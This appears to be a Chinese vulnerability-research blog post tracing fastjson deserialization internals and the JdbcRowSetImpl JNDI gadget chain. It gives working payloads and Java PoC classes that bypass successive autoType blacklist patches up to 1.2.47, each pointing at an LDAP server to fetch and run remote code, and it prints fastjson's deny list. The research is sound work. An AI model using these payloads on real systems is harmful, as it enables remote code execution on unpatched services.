Object deserOrField = extraFieldDeserializers.get(key);
if (deserOrField != null) {
if (deserOrField instanceof FieldDeserializer) {
fieldDeserializer = ((FieldDeserializer) deserOrField);
} else {
Field field = (Field) deserOrField;
field.setAccessible(true);
FieldInfo fieldInfo = new FieldInfo(key, field.getDeclaringClass(), field.getType(), field.getGenericType(), field, 0, 0, 0);
fieldDeserializer = new DefaultFieldDeserializer(parser.getConfig(), clazz, fieldInfo);
extraFieldDeserializers.put(key, fieldDeserializer);
}
}
}

// 如果仍然没有找到匹配的字段反序列化器
if (fieldDeserializer == null) {
// 如果不忽略未匹配的字段,抛出异常
if (!lexer.isEnabled(Feature.IgnoreNotMatch)) {
throw new JSONException("setter not found, class " + clazz.getName() + ", property " + key);
}

// 解析额外字段
parser.parseExtra(object, key);

return false;
}

// 移动到下一个token并解析字段值
lexer.nextTokenWithColon(fieldDeserializer.getFastMatchToken());

// 使用字段反序列化器解析字段值并设置到对象中
fieldDeserializer.parseField(parser, object, objectType, fieldValues);

return true;
}

image.png
这里遍历clazz对象的所有属性,然后根据是否有SupportNonPublicField参数来进行循环判断每一个属性是否满足要求,即不被final和static修饰,这里第一次匹配到了_name字段
image.png
最终跑出了十二个符合要求的属性并存到extraFieldDeserializers这个额外字段反序列化器里面
image.png
然后通过get方法获取到对应字段的field信息,然后封装成DefaultFieldDeserializer字段解析器对象中
image.png
接着调用字段反序列化解析器的parseField方法进行读取值,前面那个lexer.nextTokenWithColon(fieldDeserializer.getFastMatchToken());是用来跳过各种字符让当前token位置移动到:冒号处方便进行字段读取的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
// 如果字段值反序列化器为空,获取字段值反序列化器
if (fieldValueDeserilizer == null) {
getFieldValueDeserilizer(parser.getConfig());
}

Type fieldType = fieldInfo.fieldType;
// 如果对象类型是参数化类型,处理泛型类型
if (objectType instanceof ParameterizedType) {
ParseContext objContext = parser.getContext();
if (objContext != null) {
objContext.type = objectType;
}
fieldType = FieldInfo.getFieldType(this.clazz, objectType, fieldType);
fieldValueDeserilizer = parser.getConfig().getDeserializer(fieldType);
}

// 解析字段值
Object value;
if (fieldValueDeserilizer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer) fieldValueDeserilizer;
value = javaBeanDeser.deserialze(parser, fieldType, fieldInfo.name, fieldInfo.parserFeatures);
} else {
if (this.fieldInfo.format != null && fieldValueDeserilizer instanceof ContextObjectDeserializer) {
value = ((ContextObjectDeserializer) fieldValueDeserilizer)
.deserialze(parser, fieldType, fieldInfo.name, fieldInfo.format, fieldInfo.parserFeatures);
} else {
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
}
}

// 处理解析任务
if (parser.getResolveStatus() == DefaultJSONParser.NeedToResolve) {
ResolveTask task = parser.getLastResolveTask();
task.fieldDeserializer = this;
task.ownerContext = parser.getContext();
parser.setResolveStatus(DefaultJSONParser.NONE);
} else {
// 如果对象为空,将字段值放入字段值映射中
if (object == null) {
fieldValues.put(fieldInfo.name, value);
} else {
// 否则,将字段值设置到对象中
setValue(object, value);
}
}
}

接着跟进字段值反序列化处理器,这里就是根据type类型进行处理了,里面又是一堆逻辑,这里的type类型为[[B,表示二维bytes字节数组
image.png
有耐心可以跟一下这一块的逻辑
image.png
最终得到一个bytes字节数组
image.png
然后通过反射给templatesimple对象进行赋值
image.png
接着回道for循环处理字段的逻辑处,用同样的步骤处理_name属性
image.png
这里我忘了调试获取字段值反序列化器的获取流程image.png
这四个字段分别获取到的字段值反序列化器不同,分别是ObjectArray String JavaBean,里面具体的逻辑又是一大堆,有兴趣可以跟一下
image.png
直到最后还原完_factory属性,因为该字段是{}类型
image.png
image.png
发现又进入了最开始一样的逻辑,所以这部分我们直接跳过
image.png
还是同样得执行setValue给templates对象赋值,接着我们重点关注_outputProperties属性是怎么触发对应的getOutputProperties方法的
image.png
到了_outputProperties属性时,在parseField解析字段的时候发现没有进入if判断,这是因为这里通过smartMatch(key)匹配到了OutputProperties对应的属性描述器
image.png
跟进到smartMatch里面发现调用了getFieldDeserializer
image.png
可以看到这里还是再之前的那三个属性里面通过二分法查找,并通过compareTo进行比较,但其实这里并没有匹配到,所以返回的key not found
image.png
接着判断键是否以is开头,并且又在遍历sortedFieldDeserializers,只不过这次忽略了大小写,但是仍旧匹配不到,因为这里的key是以_开头的
image.png
接着当前面大小写也匹配不到的时候就开始处理蛇形命名和烤串命名,其实就是处理_-两种情况,对其做的处理也比较简单,如果匹配到key的第一个字符为_-这就去掉所有的_-,然后在使用前面的逻辑,先调用getFieldDeserializer看能不能直接匹配到,不能则忽略大小写继续匹配
image.png
其实最后还有一步使用备用名称匹配,即调用 fieldInfo.alternateName(key) 方法,检查字段是否有备用名称与键匹配。
image.png
接着来到parseField字段这里,可以看到这里使用的是Map字段解析器
image.png
跟进
image.png
继续跟进
image.png
image.png
结果回到了最开始的地方,然后最终返回一个空的Properties对象
image.png
进入到setValue这里根据fieldInfo.getOnly获取getOnly参数,如果为true,则处理处理 Atomic 类型、Map 和 Collection 类型

对于 Atomic 类型,获取当前值,并设置新值。
对于 Map 类型,获取当前 Map,并将新值中的所有条目添加到当前 Map 中。
对于 Collection 类型,获取当前 Collection,并将新值中的所有元素添加到当前 Collection 中。

可以发现在处理map的时候都会先获取当前map的值,而这里获取当前map值的方法就是调用对应的getter方法,然后就触发了反序列化调用链,当然要调用getter方法的前提是这个field得有getter,前面分析过这个setValue方法,他是优先使用对应字段的getter/setter方法进行取值或赋值,如果没有才会使用反射去强行取值或赋值,除此之外getter和反射的执行逻辑都是一样的,根据getOnly参数进行分情况处理,这里也是fastjson反序列化的核心,即setValue方法里面能够触发getter方法

JdbcRowSetImpl 利用链

漏洞分析

分析完templates链我们可以知道这个链子的局限性比较大,因为需要对方开启Feature.SupportNonPublicField参数我们才能够调用到getOutProproties方法,所以这里介绍一个打JNDI注入的链子
JdbcRowSetImpl,fastjson的核心就是调用任意对象的getter和setter,所以我们就找能够利用的getter或setter点,这里就找到了JdbcRowSetImpl类,这个类一看名字就知道是JDBC里面的resultset返回结果集里面的row实现类

JdbcRowSetImpl 类是 JdbcRowSet 接口的一个具体实现,提供了丰富的方法来处理数据库查询结果。它结合了 ResultSet 和 RowSet 的特性,使得数据库操作更加方便和灵活。通过支持序列化和反序列化,JdbcRowSetImpl 还可以在不同的 JVM 之间传输数据,适用于分布式应用程序。

image.png
前面怎么调用到setter的我就不继续阐述了,这里进入的com.sun.rowset.JdbcRowSetImpl.autoCommit方法里面
image.png
很明显在connect里面直接调用jndi接口lookup一个数据源,这里指定为我们JNDImap工具的地址直接rce
image.png
image.png
这个调用没有什么分析的,就是需要你把jndi的前置知识学了

EXP

image.png
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package fastjson;

import com.alibaba.fastjson.JSON;

public class exp2 {
public static void main(String[] args) {
String payload = "{\n" +
"\t\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\t\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\", \n" +
"\t\"autoCommit\":true\n" +
"}";
JSON.parse(payload);
}
}

1.2.25补丁绕过

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp2 {
public static void main(String[] args) {
String payload = "{\n" +
"\t\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\n" +
"\t\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\", \n" +
"\t\"autoCommit\":true\n" +
"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload);
}
}

补丁分析-autotype

image.png
image.png
可以看到我将fastjson换到1.2.25之后再运行之前的payload就报错了

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

image.png
通过报错定位到目标代码
image.png
往上查看调用堆栈可以发现这里在处理@type关键词的时候多了一个处理,调用了config.checkAutoType对type字段指定的类名进行了check
image.png
可以看到这里设置了一堆黑名单,当然这里也支持白名单检测,所以相当于写死了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

image.png
不仅如此在最后的时候直接判断autoTypeSupport是否为true不为true直接报错,不让用@type

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

这里实际上进行了两次黑白名单检查
image.png
最开始如果开启了autoType则先进行白名单检查,如果匹配到则就调用TypeUtils.loadClass直接加载,否则就继续匹配黑名单
image.png
接着如果没开启autoType则先匹配黑名单再匹配白名单
image.png
最后在前面两个地方的黑名单都没有匹配到,并且也没有通过白名单直接加载类,则进行判断是否开启了autoType或者expectClass不为空,如果满足这就加载类了,这里的expectClass时代码里面指定的反序列化类,最终就是对加载类clazz的安全检查
image.png
接着跟进一下TypeUtils.loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
// skip
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);

return clazz;
} catch (Throwable e) {
// skip
}

return clazz;
}

image.png
首先判断传入的类名为不为空,然后在缓存里看看有没有现成加载好的class对象能够拿来直接用
image.png
接着判断类名第一个字符,如果是[的话则认为他是一个数组类型,然后就去掉第一个[字符然后递归调用loadClass获取到对应的class对象然后使用Array.newInstance创建一个数组对象并将该class放在里面,最后调用getClass方法获取到该数组的class对象
如果是第一个字符是L并且最后一个字符是;则表示他是一个普通java类,则去掉前后的字符,然后调用loadClass去递归加载
image.png
接着使用指定的classloader去load,如果没有再使用当前线程的上下文类加载器
image.png
最后再没有就直接使用默认的类加载器去加载了
这里总结一下(不讨论expectClass存在的情况):
默认关闭了autoType配置
如果开启来该配置,则会先进行白名单检测,然后再进行黑名单检测,这里匹配到白名单就直接加载类的操作了。
如果是默认没有开启的情况下,会先进行一次黑名单检查,再白名单。
最后第三步,不管有没有autoType配置,都会检查一下autoType或者expectClass是否开启,只有开启了才最进行加载类,没有开启就直接抛出异常了,也就是不支持type解析。
也就是说这里只要没开启autoTypeSupport配置就不会解析@type字段,开启了也会进行黑白名单检查,这里我们就只能手动开启autoTypeSupport用来测试漏洞

autoTypeSupport

JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

acceptList白名单

JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);

当然也可以创建一个fastjson.properties配置文件

1
fastjson.parser.autoTypeAccept=

漏洞分析

image.png
这里我们开启autotype进入loadClass进行调试,其实这里autoType在低版本是能够绕过的,我们先不研究这里,先研究怎么通过黑名单,比较开不开autoType都会进行黑名单验证的
image.png
这里我们以及把payload贴出来了,看我们这里是怎么绕过的,很显然我们是传入的类名是Lcom.sun.rowset.JdbcRowSetImpl;,这里因为fastjson是黑名单监测startwith
image.png
因为没有匹配到com.sun开头所有通过了黑名单监测,但是这里我们的Lcom.sun又是怎么解析成对应的com.sun.rowset.JdbcRowSetImpl类的呢
image.png
这是因为fastjson为了处理一些特殊的类即兼容带有描述符的类,这里就是数组类和普通类,前面代码我们以及分析过,这里会把[或者L;去掉之后再进行loadClass,通过这里我们就有两个绕过方式,通过在类名前面加一个[或者L;来绕过黑名单检测。

1
2
[com.sun.rowset.JdbcRowSetImpl
Lcom.sun.rowset.JdbcRowSetImpl;

并且我们可以发现这里是递归处理的,也就是说我们前面不管加几个描述符都不影响我们的正常解析流流程,其中如果是数组绕过的话需要修改一下payload的格式,不然的他的参数传不进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true
}
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true
}
// 完整的格式
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true
}]
}

因为使用了数组的之后,我们加载出来的class是一个[JdbcRowSetImpl对象]
image.png
image.png
image.png
image.png
这里匹配到[之后的{然后才开始解析的属性
image.png
后面的解析属性的部分就不用分析,前面已经跟过一遍了,总之就是要在类名之后加一个[{这样才能进入属性解析的流程,从而调用任意getter

1.2.42补丁绕过

补丁分析

image.png
image.png
image.png
image.png
可以看到这个1.2.42重构了checkAutoType的黑白名单算法,使用了hash算法的形式匹配第一位和最后一位的计算结果是否为0x9198507b5af98f0L,如果是这就去掉第一位和最后一位,很明显这里就是匹配第一位的L和最后一位的;,只不过他这里是单独把这个逻辑提出来了,放在checkAutoType里面,很明显我们直接再加一个L;就能绕过
当然这里也可以使用数组绕过,他这里只处理了[;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}

final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

image.png
image.png
这里黑白名单的处理逻辑其实就是将每一个字母进行一个不可逆hash算法计算然后使用Arrays.binarySearch进行搜索匹配,这里就是fastjson为了防止安全研究者对其进行研究,不给你明文的黑名单,提高研究者的绕过成本,但是实际上没什么用,网上有人通过碰撞获取到了大部分黑名单的值
https://github.com/LeadroyaL/fastjson-blacklist
image.png

payload

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp2 {
public static void main(String[] args) {
String payload = "{\n" +
" \"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\n" +
" \"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\",\n" +
" \"autoCommit\":true\n" +
"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload);
}
}

调试

image.png
可以看到这里直接就是去掉了一个[;,但是由于我们输入的是两个[;所以处理之后仍然能够绕过黑名单
image.png
image.png
接着再loadClass进行递归解析[;从而成功加载到了恶意类触发jndi sink点从而rce
image.png

1.2.43补丁绕过

补丁分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

image.png
可以看到这里对前两位多了一个处理,只要匹配到前两位计算的结果等于0x9195c07b5af5345L就直接抛出异常,很明显这是直接检测了前两位是否为[[,如果是则直接抛出异常,所以我们的双写甚至是多写[都不能绕过了,所以直接用数组绕过

payload

1
2
3
4
5
6
7
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true}]
}
// 后面的}]有没有无所谓,主要是arrayJson的解析方式是直接找JdbcRowSetImpl"后面的[{,然后再对后面的内容进行反序列化解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp2 {
public static void main(String[] args) {
String payload = "{\n" +
" \"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\n" +
" \"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\",\n" +
" \"autoCommit\":true}]\n" +
"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload);
}
}

1.2.44补丁绕过

补丁分析

image.png
很明显这个版本直接匹配了第一位是否为[,否则直接抛出异常
image.png
尝试混合使用绕过
image.png
发现还有一个检测最后一位;的,所以不能前面的绕过方法都没有用了
所以这是一个相对安全的版本,但是这里仍然存在一个黑名单绕过方式
image.png
就是使用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的setProperties方法能够进行jndi注入
但是必须需要mybatis 3.x.x ~ 3.5.0版本,所以这个版本是相对比较安全
这个链子直到1.2.46版本才被加入黑名单

version hash hex-hash name
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource

payload

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1389/Basic/Command/calc.exe"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp2 {
public static void main(String[] args) {
String payload = "{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\"\n" +
" }\n" +
"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload);
}
}

1.2.47-无需AutoType

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true
}
}

{
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true
}
}
// 实际上只需要在执行setCommit之前先解析一下JdbcRowSetImpl这个类进缓存里就行

分析

在fastjson1.2.47及之前版本可以不开启autoType也能够触发任意getter或setter方法,这里前面提到了一下,主要是利用加载类的缓存机制
image.png
首先我们来总结一下checkAutoType这里获取clazz的机制
image.png
首先如果autoType为true则进行白黑名单检测,如果匹配到白名单就能loadClass
image.png
接着这里有两个地方都能获取clazz类
image.png
第一是mapping.get()从缓存里面直接获取,当然这个方法要求我们之前要在mapping里面写入我们想要获取的类对象
image.png
至于这么写我们就不陌生了,直接loadClass的过程中如果传入的第三个参数cache为true则就能直接写进mapping里面,当然现在的情况是我们连load都load不了JdbcRowSetImpl类,所以需要找到其他能够loadClass的地方
image.png
image.png
image.png
然后是IdentityHashMap的findClass,这个写死的一些fastjson内置的类,用于特殊处理的,比如这里的Class就能直接从这个findClass找到,然后他会调用MiscCode去解析Class对象,所以想直接从这里加载恶意类时不行的
至于为什么写死可以可以分析一下哪些地方调用put写入

  1. getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  2. initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  3. putDeserializer():被前两个函数调用,我们无法控制入参。

总共有这三个地方,都是不能控制,可以自己去往上找一找
image.png
第四个地方就是在没开启autoType的时候会进行黑白名单检测,同样也是检测到白名单就能够加载类
image.png
第五步这里是新版本鱼就是1.2.33之后的写法,可以看到这里也会进行一次loadClass,但是这里是在黑名单检测之后的,所以到不了这
image.png
最后一部分同样是没开启autoType直接抛出异常,不进行后面的流程了
总结一下我们如果想通过缓存绕过就需要通过clazz = TypeUtils.getClassFromMapping(typeName);这里直接获取到恶意类,也就是在我们进行调用恶意setter之前需要往mapping写入我们的恶意类
也就是执行TypeUtil.loadClass(“恶意类”,xxxloader,true),这里的第三个参数为cache,必须为true
image.png
这里我们找到MiscCode这个类,其他的要么是在checkAutoType方法我们已经分析过了,要么在config里这个是我们不能够调用到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

if (clazz == InetSocketAddress.class) {
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken();
return null;
}

parser.accept(JSONToken.LBRACE);

InetAddress address = null;
int port = 0;
for (;;) {
String key = lexer.stringVal();
lexer.nextToken(JSONToken.COLON);

if (key.equals("address")) {
parser.accept(JSONToken.COLON);
address = parser.parseObject(InetAddress.class);
} else if (key.equals("port")) {
parser.accept(JSONToken.COLON);
if (lexer.token() != JSONToken.LITERAL_INT) {
throw new JSONException("port is not int");
}
port = lexer.intValue();
lexer.nextToken();
} else {
parser.accept(JSONToken.COLON);
parser.parse();
}

if (lexer.token() == JSONToken.COMMA) {
lexer.nextToken();
continue;
}

break;
}

parser.accept(JSONToken.RBRACE);

return (T) new InetSocketAddress(address, port);
}

Object objVal;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
if (objVal instanceof JSONObject) {
JSONObject jsonObject = (JSONObject) objVal;

if (clazz == Currency.class) {
String currency = jsonObject.getString("currency");
if (currency != null) {
return (T) Currency.getInstance(currency);
}

String symbol = jsonObject.getString("currencyCode");
if (symbol != null) {
return (T) Currency.getInstance(symbol);
}
}

if (clazz == Map.Entry.class) {
return (T) jsonObject.entrySet().iterator().next();
}

return jsonObject.toJavaObject(clazz);
}
throw new JSONException("expect string");
}

if (strVal == null || strVal.length() == 0) {
return null;
}

if (clazz == UUID.class) {
return (T) UUID.fromString(strVal);
}

if (clazz == URI.class) {
return (T) URI.create(strVal);
}

if (clazz == URL.class) {
try {
return (T) new URL(strVal);
} catch (MalformedURLException e) {
throw new JSONException("create url error", e);
}
}

if (clazz == Pattern.class) {
return (T) Pattern.compile(strVal);
}

if (clazz == Locale.class) {
return (T) TypeUtils.toLocale(strVal);
}

if (clazz == SimpleDateFormat.class) {
SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
dateFormat.setTimeZone(lexer.getTimeZone());
return (T) dateFormat;
}

if (clazz == InetAddress.class || clazz == Inet4Address.class || clazz == Inet6Address.class) {
try {
return (T) InetAddress.getByName(strVal);
} catch (UnknownHostException e) {
throw new JSONException("deserialize inet adress error", e);
}
}

if (clazz == File.class) {
if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
throw new JSONException("file relative path not support.");
}

return (T) new File(strVal);
}

if (clazz == TimeZone.class) {
return (T) TimeZone.getTimeZone(strVal);
}

if (clazz instanceof ParameterizedType) {
ParameterizedType parmeterizedType = (ParameterizedType) clazz;
clazz = parmeterizedType.getRawType();
}

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

if (clazz == Charset.class) {
return (T) Charset.forName(strVal);
}

if (clazz == Currency.class) {
return (T) Currency.getInstance(strVal);
}

if (clazz == JSONPath.class) {
return (T) new JSONPath(strVal);
}



if (clazz instanceof Class) {
String className = ((Class) clazz).getName();

if (className.equals("java.nio.file.Path")) {
try {
if (method_paths_get == null && !method_paths_get_error) {
Class<?> paths = TypeUtils.loadClass("java.nio.file.Paths");
method_paths_get = paths.getMethod("get", String.class, String[].class);
}
if (method_paths_get != null) {
return (T) method_paths_get.invoke(null, strVal, new String[0]);
}

throw new JSONException("Path deserialize erorr");
} catch (NoSuchMethodException ex) {
method_paths_get_error = true;
} catch (IllegalAccessException ex) {
throw new JSONException("Path deserialize erorr", ex);
} catch (InvocationTargetException ex) {
throw new JSONException("Path deserialize erorr", ex);
}
}

throw new JSONException("MiscCodec not support " + className);
}

throw new JSONException("MiscCodec not support " + clazz.toString());
}

在MiscCode的deserialze方法里面调用了loadClass
image.png
